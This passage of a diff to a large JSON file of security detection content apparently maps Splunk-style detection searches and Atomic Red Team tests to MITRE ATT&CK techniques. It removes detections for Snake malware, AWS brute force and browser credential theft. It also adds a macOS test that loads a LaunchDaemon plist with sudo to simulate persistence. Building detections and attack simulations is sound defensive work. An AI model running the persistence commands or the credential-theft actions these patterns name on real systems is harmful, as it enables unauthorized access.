}, - { - "name": "Windows Snake Malware Registry Modification wav OpenWithProgIds", - "description": "The following analytic identifies modifications to the registry path .wav\\\\OpenWithProgIds, associated with the Snake Malware campaign. It leverages data from the Endpoint.Registry datamodel to detect changes in this specific registry location. This activity is significant because Snake's WerFault.exe uses this registry path to decrypt an encrypted blob containing critical components like the AES key, IV, and paths for its kernel driver and loader. If confirmed malicious, this could allow the attacker to load and execute Snake's kernel driver, leading to potential system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count values(Registry.registry_key_name) as registry_key_name values(Registry.registry_path) as registry_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\.wav\\\\OpenWithProgIds\\\\*\" by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_snake_malware_registry_modification_wav_openwithprogids_filter`", - "tags": { - "analytic_story": [ - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification related to Snake Malware has been identified on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -341781,7 +242020,8 @@ } ], "command_list": [ - "sudo cp /T1543.004/src/atomicredteam_T1543_004.plist /Library/LaunchDaemons/com.atomicredteam.plist\nsudo launchctl load -w /Library/LaunchDaemons/com.atomicredteam.plist\n" + "sudo cp /T1543.004/src/atomicredteam_T1543_004.plist /Library/LaunchDaemons/com.atomicredteam.plist\nsudo launchctl load -w /Library/LaunchDaemons/com.atomicredteam.plist\n", + "sudo cp /T1543.004/src/atomicredteam_T1543_004.plist ~/Library/LaunchDaemons/com.atomicredteam.T1543.004.plist\nsudo launchctl load -w ~/Library/LaunchDaemons/com.atomicredteam.T1543.004.plist\n" ], "commands": [], "queries": [], @@ -341826,6 +242066,40 @@ "command": "sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}\nsudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}\n", "cleanup_command": "sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}\nsudo rm /Library/LaunchDaemons/#{plist_filename}\nsudo rm /tmp/T1543_004_atomicredteam.txt\n" } + }, + { + "name": "Launch Daemon - Users Directory", + "auto_generated_guid": "6f899f9d-8a8e-4143-89a5-26fc2c3ec438", + "description": "Utilize LaunchDaemon in /Users directory to touch temporary file in /tmp\n", + "supported_platforms": [ + "macos" + ], + "input_arguments": { + "plist_filename": { + "description": "filename", + "type": "string", + "default": "com.atomicredteam.T1543.004.plist" + }, + "path_malicious_plist": { + "description": "Name of file to store in cron folder", + "type": "string", + "default": "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist" + } + }, + "dependency_executor_name": "bash", + "dependencies": [ + { + "description": "The shared library must exist on disk at specified location (#{path_malicious_plist})\n", + "prereq_command": "if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n" + } + ], + "executor": { + "name": "bash", + "elevation_required": true, + "command": "sudo cp #{path_malicious_plist} ~/Library/LaunchDaemons/#{plist_filename}\nsudo launchctl load -w ~/Library/LaunchDaemons/#{plist_filename}\n", + "cleanup_command": "sudo launchctl unload ~/Library/LaunchDaemons/#{plist_filename}\nsudo rm ~/Library/LaunchDaemons/#{plist_filename}\nsudo rm /tmp/T1543_004_atomicredteam.txt" + } } ] } @@ -342872,129 +243146,6 @@ "https://azure.microsoft.com/en-us/services/storage/blobs/", "https://cloud.google.com/storage" ] - }, - { - "name": "AWS IAM AccessDenied Discovery Events", - "description": "The following analytic identifies excessive AccessDenied events within an hour timeframe for IAM users in AWS. It leverages AWS CloudTrail logs to detect multiple failed access attempts from the same source IP and user identity. This activity is significant as it may indicate that an access key has been compromised and is being misused for unauthorized discovery actions. If confirmed malicious, this could allow attackers to gather information about the AWS environment, potentially leading to further exploitation or privilege escalation.", - "search": "`cloudtrail` (errorCode = \"AccessDenied\") user_type=IAMUser (userAgent!=*.amazonaws.com) | bucket _time span=1h | stats count as failures min(_time) as firstTime max(_time) as lastTime, dc(eventName) as methods, dc(eventSource) as sources by src_ip, userIdentity.arn, _time | where failures >= 5 and methods >= 1 and sources >= 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_accessdenied_discovery_events_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "userIdentity.arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $userIdentity.arn$ is seen to perform excessive number of discovery related api calls- $failures$, within an hour where the access was denied.", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1580", - "mitre_attack_technique": "Cloud Infrastructure Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS IAM Assume Role Policy Brute Force", - "description": "The following analytic detects multiple failed attempts to assume an AWS IAM role, indicating a potential brute force attack. It leverages AWS CloudTrail logs to identify `MalformedPolicyDocumentException` errors with a status of `failure` and filters out legitimate AWS services. This activity is significant as repeated failures to assume roles can indicate an adversary attempting to guess role names, which is a precursor to unauthorized access. If confirmed malicious, this could lead to unauthorized access to AWS resources, potentially compromising sensitive data and services.", - "search": "`cloudtrail` (errorCode=MalformedPolicyDocumentException) status=failure (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.policyName) as policy_name by src eventName eventSource aws_account_id errorCode requestParameters.policyDocument userAgent eventID awsRegion userIdentity.principalId user_arn | where count >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_assume_role_policy_brute_force_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has caused multiple failures with errorCode $errorCode$, which potentially means adversary is attempting to identify a role name.", - "risk_score": 28, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1580", - "mitre_attack_technique": "Cloud Infrastructure Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } } ], "external_reference": [ @@ -344014,286 +244165,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Non Chrome Process Accessing Chrome Default Dir", - "description": "The following analytic detects a non-Chrome process accessing files in the Chrome user default folder. It leverages Windows Security Event logs, specifically event code 4663, to identify unauthorized access attempts. This activity is significant because the Chrome default folder contains sensitive user data such as login credentials, browsing history, and cookies. If confirmed malicious, this behavior could indicate an attempt to exfiltrate sensitive information, often associated with RATs, trojans, and advanced persistent threats like FIN7. Such access could lead to data theft and further compromise of the affected system.", - "search": "`wineventlog_security` EventCode=4663 NOT (ProcessName IN (\"*\\\\chrome.exe\", \"*\\\\explorer.exe\", \"*sql*\")) ObjectName=\"*\\\\Google\\\\Chrome\\\\User Data\\\\Default*\" | stats count min(_time) as firstTime max(_time) as lastTime by ObjectName ObjectType ProcessName AccessMask EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `non_chrome_process_accessing_chrome_default_dir_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack", - "AgentTesla", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a non chrome browser process $ProcessName$ accessing $ObjectName$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Non Firefox Process Access Firefox Profile Dir", - "description": "The following analytic detects non-Firefox processes accessing the Firefox profile directory, which contains sensitive user data such as login credentials, browsing history, and cookies. It leverages Windows Security Event logs, specifically event code 4663, to monitor access attempts. This activity is significant because it may indicate attempts by malware, such as RATs or trojans, to harvest user information. If confirmed malicious, this behavior could lead to data exfiltration, unauthorized access to user accounts, and further compromise of the affected system.", - "search": "`wineventlog_security` EventCode=4663 NOT (ProcessName IN (\"*\\\\firefox.exe\", \"*\\\\explorer.exe\", \"*sql*\")) ObjectName=\"*\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles*\" | stats count min(_time) as firstTime max(_time) as lastTime by ObjectName ObjectType ProcessName AccessMask EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `non_firefox_process_access_firefox_profile_dir_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack", - "AgentTesla", - "Azorult", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Remcos", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a non firefox browser process $ProcessName$ accessing $ObjectName$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Possible Browser Pass View Parameter", - "description": "The following analytic identifies processes with command-line parameters associated with web browser credential dumping tools, specifically targeting behaviors used by Remcos RAT malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and specific file paths. This activity is significant as it indicates potential credential theft, a common tactic in broader cyber-espionage campaigns. If confirmed malicious, attackers could gain unauthorized access to sensitive web credentials, leading to further system compromise and data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*/stext *\", \"*/shtml *\", \"*/LoadPasswordsIE*\", \"*/LoadPasswordsFirefox*\", \"*/LoadPasswordsChrome*\", \"*/LoadPasswordsOpera*\", \"*/LoadPasswordsSafari*\" , \"*/UseOperaPasswordFile*\", \"*/OperaPasswordFile*\",\"*/stab*\", \"*/scomma*\", \"*/stabular*\", \"*/shtml*\", \"*/sverhtml*\", \"*/sxml*\", \"*/skeepass*\" ) AND Processes.process IN (\"*\\\\temp\\\\*\", \"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_browser_pass_view_parameter_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious process $process_name$ contains commandline $process$ on $dest$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1555.003", - "mitre_attack_technique": "Credentials from Web Browsers", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "APT37", - "APT41", - "Ajax Security Team", - "FIN6", - "HEXANE", - "Inception", - "Kimsuky", - "LAPSUS$", - "Leafminer", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1555", - "mitre_attack_technique": "Credentials from Password Stores", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "APT39", - "Evilnum", - "FIN6", - "HEXANE", - "Leafminer", - "Malteiro", - "MuddyWater", - "OilRig", - "Stealth Falcon", - "Volt Typhoon" - ] - } - ] - } } ], "external_reference": [ @@ -345217,105 +245088,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Modification Of Wallpaper", - "description": "The following analytic detects the modification of registry keys related to the desktop wallpaper settings. It leverages Sysmon EventCode 13 to identify changes to the \"Control Panel\\\\Desktop\\\\Wallpaper\" and \"Control Panel\\\\Desktop\\\\WallpaperStyle\" registry keys, especially when the modifying process is not explorer.exe or involves suspicious file paths like temp or public directories. This activity is significant as it can indicate ransomware behavior, such as the REVIL ransomware, which changes the wallpaper to display a ransom note. If confirmed malicious, this could signify a compromised machine and the presence of ransomware, leading to potential data encryption and extortion.", - "search": "`sysmon` EventCode =13 (TargetObject IN (\"*\\\\Control Panel\\\\Desktop\\\\Wallpaper\",\"*\\\\Control Panel\\\\Desktop\\\\WallpaperStyle\") AND Image != \"*\\\\explorer.exe\") OR (TargetObject IN (\"*\\\\Control Panel\\\\Desktop\\\\Wallpaper\",\"*\\\\Control Panel\\\\Desktop\\\\WallpaperStyle\") AND Details IN (\"*\\\\temp\\\\*\", \"*\\\\users\\\\public\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode Image TargetObject Details Computer process_guid process_id user_id | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `modification_of_wallpaper_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware", - "Brute Ratel C4", - "LockBit Ransomware", - "Ransomware", - "Revil Ransomware", - "Rhysida Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wallpaper modification on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1491", - "mitre_attack_technique": "Defacement", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Defacement Modify Transcodedwallpaper File", - "description": "The following analytic identifies modifications to the TranscodedWallpaper file in the wallpaper theme directory, excluding changes made by explorer.exe. This detection leverages the Endpoint.Processes and Endpoint.Filesystem data models to correlate process activity with file modifications. This activity is significant as it may indicate an adversary attempting to deface or change the desktop wallpaper of a targeted host, a tactic often used to signal compromise or deliver a message. If confirmed malicious, this could be a sign of unauthorized access and tampering, potentially leading to further system compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_path !=\"*\\\\Windows\\\\Explorer.EXE\" by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid Processes.original_file_name | `drop_dm_object_name(Processes)` |rename process_guid as proc_guid | join proc_guid, _time [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_path = \"*\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Themes\\\\TranscodedWallpaper\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` |rename process_guid as proc_guid | fields file_name file_path process_name process_path process dest file_create_time _time proc_guid] | `windows_defacement_modify_transcodedwallpaper_file_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "modification or creation of transcodedwallpaper file by $process_name$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1491", - "mitre_attack_technique": "Defacement", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -345442,484 +245214,6 @@ "https://azure.microsoft.com/en-us/overview/what-is-a-virtual-machine/", "https://cloud.google.com/compute/docs/instances" ] - }, - { - "name": "AWS Successful Console Authentication From Multiple IPs", - "description": "The following analytic detects an AWS account successfully authenticating from multiple unique IP addresses within a 5-minute window. It leverages AWS CloudTrail logs, specifically monitoring `ConsoleLogin` events and counting distinct source IPs. This behavior is significant as it may indicate compromised credentials, potentially from a phishing attack, being used concurrently by an adversary and a legitimate user. If confirmed malicious, this activity could allow unauthorized access to corporate resources, leading to data breaches or further exploitation within the AWS environment.", - "search": " `cloudtrail` eventName = ConsoleLogin | bin span=5m _time | stats values(userAgent) as userAgent values(eventName) as eventName values(src_ip) as src_ip dc(src_ip) as distinct_ip_count by _time user_arn | where distinct_ip_count>1 | `aws_successful_console_authentication_from_multiple_ips_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account", - "Suspicious AWS Login Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has successfully logged into the AWS Console from different IP addresses $src_ip$ within 5 mins", - "risk_score": 72, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Cloud Compute Instance Created In Previously Unused Region", - "description": "The following analytic detects the creation of a cloud compute instance in a region that has not been previously used within the last hour. It leverages cloud infrastructure logs and compares the regions of newly created instances against a lookup file of historically used regions. This activity is significant because the creation of instances in new regions can indicate unauthorized or suspicious activity, such as an attacker attempting to evade detection or establish a foothold in a less monitored area. If confirmed malicious, this could lead to unauthorized resource usage, data exfiltration, or further compromise of the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime values(All_Changes.object_id) as dest, count from datamodel=Change where All_Changes.action=created by All_Changes.vendor_region, All_Changes.user | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_regions vendor_region as vendor_region OUTPUTNEW firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenRegion=min(firstTimeSeen) | where isnull(firstTimeSeenRegion) OR firstTimeSeenRegion > relative_time(now(), \"-24h@h\") | table firstTime, user, dest, count , vendor_region | `security_content_ctime(firstTime)` | `cloud_compute_instance_created_in_previously_unused_region_filter`", - "tags": { - "analytic_story": [ - "Cloud Cryptomining" - ], - "asset_type": "Cloud Compute Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is creating an instance $dest$ in a new region for the first time", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New City", - "description": "The following analytic identifies AWS console login events by users from a new city within the last hour. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen user locations. This activity is significant for a SOC as it may indicate unauthorized access or credential compromise, especially if the login originates from an unusual location. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename City as justSeenCity | table firstTime lastTime user justSeenCity | join user type=outer [| inputlookup previously_seen_users_console_logins | rename City as previouslySeenCity | stats min(firstTime) AS earliestseen by user previouslySeenCity | fields earliestseen user previouslySeenCity] | eval userCity=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New City\",\"Previously Seen City\") | where userCity = \"New City\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCity justSeenCity userCity | `detect_aws_console_login_by_user_from_new_city_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from City $City$ for the first time", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Country", - "description": "The following analytic identifies AWS console login events by users from a new country. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users and their login locations. This activity is significant because logins from new countries can indicate potential unauthorized access or compromised accounts. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the AWS environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Country as justSeenCountry | table firstTime lastTime user justSeenCountry | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Country as previouslySeenCountry | stats min(firstTime) AS earliestseen by user previouslySeenCountry | fields earliestseen user previouslySeenCountry] | eval userCountry=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Country\",\"Previously Seen Country\") | where userCountry = \"New Country\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCountry justSeenCountry userCountry | `detect_aws_console_login_by_user_from_new_country_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Country $Country$ for the first time", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Region", - "description": "The following analytic identifies AWS console login attempts by users from a new region. It leverages AWS CloudTrail events and compares current login regions against a baseline of previously seen regions for each user. This activity is significant as it may indicate unauthorized access attempts or compromised credentials. If confirmed malicious, an attacker could gain unauthorized access to AWS resources, potentially leading to data breaches, resource manipulation, or further lateral movement within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Region as justSeenRegion | table firstTime lastTime user justSeenRegion | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Region as previouslySeenRegion | stats min(firstTime) AS earliestseen by user previouslySeenRegion | fields earliestseen user previouslySeenRegion] | eval userRegion=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Region\",\"Previously Seen Region\") | where userRegion= \"New Region\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenRegion justSeenRegion userRegion | `detect_aws_console_login_by_user_from_new_region_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Region $Region$ for the first time", - "risk_score": 36, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - 